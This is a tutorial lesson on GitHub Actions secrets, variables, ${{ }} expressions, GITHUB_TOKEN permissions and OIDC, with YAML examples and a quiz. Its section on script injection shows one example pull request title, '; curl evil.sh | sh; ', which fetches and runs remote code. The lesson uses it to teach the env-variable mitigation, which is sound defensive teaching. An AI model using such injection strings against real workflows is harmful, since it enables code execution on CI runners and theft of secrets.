Skip to content
Tutorials Center
My learning

Topics

Lesson 21 of 36 ยท GitHub Actions

Secrets, Variables and Expressions

Store credentials safely with Actions secrets, share settings with variables, and use contexts and ${{ }} expressions, GITHUB_TOKEN and OIDC. With a runnable expression stand-in.

Real workflows need values: an API token to publish a package, a region name for a deploy, the branch that triggered the run. GitHub Actions gives you three places for them, plus a small expression language to read and combine them. Getting this right matters twice: it keeps your workflow flexible, and it keeps credentials out of your repository history.

Environment variables

The simplest way to pass a value to a command is an environment variable. You can set them at three levels, and the innermost wins:

YAML
env:
  NODE_ENV: test            # whole workflow

jobs:
  build:
    runs-on: ubuntu-latest
    env:
      REGION: eu-central-1  # whole job
    steps:
      - name: Show values
        env:
          GREETING: hello   # this step only
        run: echo "$GREETING from $REGION in $NODE_ENV"

A step can also create variables for later steps in the same job by appending to the file $GITHUB_ENV:

YAML
- run: echo "BUILD_ID=$(date +%s)" >> "$GITHUB_ENV"
- run: echo "Build is $BUILD_ID"

Contexts and expressions

Besides shell variables, Actions offers contexts: objects that describe the run. You read them inside ${{ ... }} expressions, which GitHub evaluates before the shell sees the command.

Context What it holds (examples)
github github.repository, github.ref, github.sha, github.actor, github.event_name, github.event (the payload)
env variables set with env:
vars configuration variables (see below)
secrets encrypted secrets
runner runner.os, runner.temp
matrix, needs, steps, job data from the matrix, other jobs and earlier steps
YAML
- run: echo "Run by ${{ github.actor }} on ${{ github.ref_name }}"
- if: ${{ github.event_name == 'push' && startsWith(github.ref, 'refs/tags/v') }}
  run: echo "This is a version tag"

Expressions support literals (strings in single quotes, numbers, true, false, null), the operators == != < > && || !, property access with . or ['name'], and built-in functions such as contains(), startsWith(), endsWith(), format(), join(), toJSON(), fromJSON(), hashFiles() and the status checks success(), failure(), always(), cancelled(). String comparison ignores case.

The stand-in below evaluates ${{ ... }} placeholders against a fake context. It only supports property lookups and two functions, to show the idea that substitution happens first. It is not the real expression engine.

JS Stand-in: ${{ }} substitution (not GitHub's engine)

Press Run (or Ctrl + Enter) to see the console output here.

No output.

The last line also shows a real behavior: GitHub masks known secret values in logs, replacing them with ***. Masking is a safety net, not a guarantee, because transformed values (base64, split in halves) are not recognized.

Secrets

Secrets are encrypted values you add in Settings -> Secrets and variables -> Actions. They can live at three levels: the repository, an environment (see reusable workflows and environments), or the organization (shared with chosen repositories). Once saved, nobody can read a secret again, only replace or delete it.

YAML
steps:
  - name: Publish
    env:
      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
    run: npm publish

Good habits:

  • Pass secrets through env: or with: instead of pasting ${{ secrets.X }} straight into a long shell script. It is easier to audit and avoids quoting accidents.
  • Never echo a secret, never put one in a command line that tools print, and never write it to an artifact.
  • Secrets are not passed to workflows triggered by pull_request from a fork. This protects you from strangers, and it is why some CI jobs behave differently on fork PRs.
  • Rotate tokens regularly and give each one the smallest permissions.

Structured data such as JSON, or multi-line keys, can slip past masking if you store several values in one secret and print parts of it. Store each sensitive value separately.

Configuration variables

Not everything is secret. A region, a feature flag or a public URL is better stored as a variable (same settings page, "Variables" tab) and read as ${{ vars.REGION }}. Variables are visible in the UI and not masked, which makes them easy to review and change without touching code.

Need Use
Credential, key, token Secret
Plain configuration shared by many workflows Variable
Value used by one step only env: in the YAML
Value computed during the run $GITHUB_ENV or step outputs

The automatic GITHUB_TOKEN

Every run gets a temporary token named GITHUB_TOKEN (available as secrets.GITHUB_TOKEN or github.token). It is scoped to the repository, expires when the job ends, and needs no setup. Use it to comment on pull requests, push to GitHub Packages, create releases and so on.

Its power is controlled by permissions. The safest habit is to set the minimum at the top of the workflow and raise it per job:

YAML
permissions:
  contents: read

jobs:
  comment:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - run: gh pr comment "$PR" --body "Thanks for the contribution!"
        env:
          GH_TOKEN: ${{ github.token }}
          PR: ${{ github.event.pull_request.number }}

Once you list any permission, every permission you do not list becomes none. The organization or repository default can also be set to read-only under Settings -> Actions -> General, which is recommended.

OpenID Connect: secrets without secrets

Storing a long-lived cloud password in GitHub is a risk. With OIDC, a job asks GitHub for a short-lived signed identity token (needs permissions: id-token: write), and the cloud provider (AWS, Azure, Google Cloud and others) is configured to trust tokens from your repository and exchange them for temporary credentials. Nothing permanent is stored, and the cloud side can restrict access by repository, branch or environment.

Untrusted input and script injection

Because ${{ }} is replaced with text before the shell runs, attacker-controlled values can become code. A pull request title like "; curl evil.sh | sh; " would break a step such as run: echo "${{ github.event.pull_request.title }}". Safer: pass it through an environment variable, so the shell treats it as data.

YAML
- run: echo "Title is $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Treat issue titles, branch names, commit messages and comment bodies as untrusted. More on this in securing your workflows.

Check your understanding

Quick check ยท 4 questions

of 4 answered You scored / 4 ยท perfect!

  1. 1. When are ${{ }} expressions evaluated?

    That is why injected text can become part of a script, and why env variables are safer.
  2. 2. Which is the right home for a database password?

    Secrets are encrypted and masked in logs; variables and files are visible.
  3. 3. What happens to permissions you do not list once you set permissions: in a workflow?

    Specifying any permission resets all unlisted ones to none, which is why you start minimal.
  4. 4. What is the main benefit of OIDC for cloud deployments?

    The job exchanges a short-lived signed token for temporary cloud credentials.

Summary

  • Set env at workflow, job or step level; use $GITHUB_ENV for values created mid-job.
  • Contexts (github, env, vars, secrets, matrix, needs, steps) feed ${{ }} expressions, which are substituted before the shell runs.
  • Put credentials in secrets, plain settings in variables, and mask nothing by relying on luck.
  • Limit GITHUB_TOKEN with permissions, prefer OIDC for cloud access, and pass untrusted input through env.

Next: Caching, Artifacts, Reusable Workflows and Environments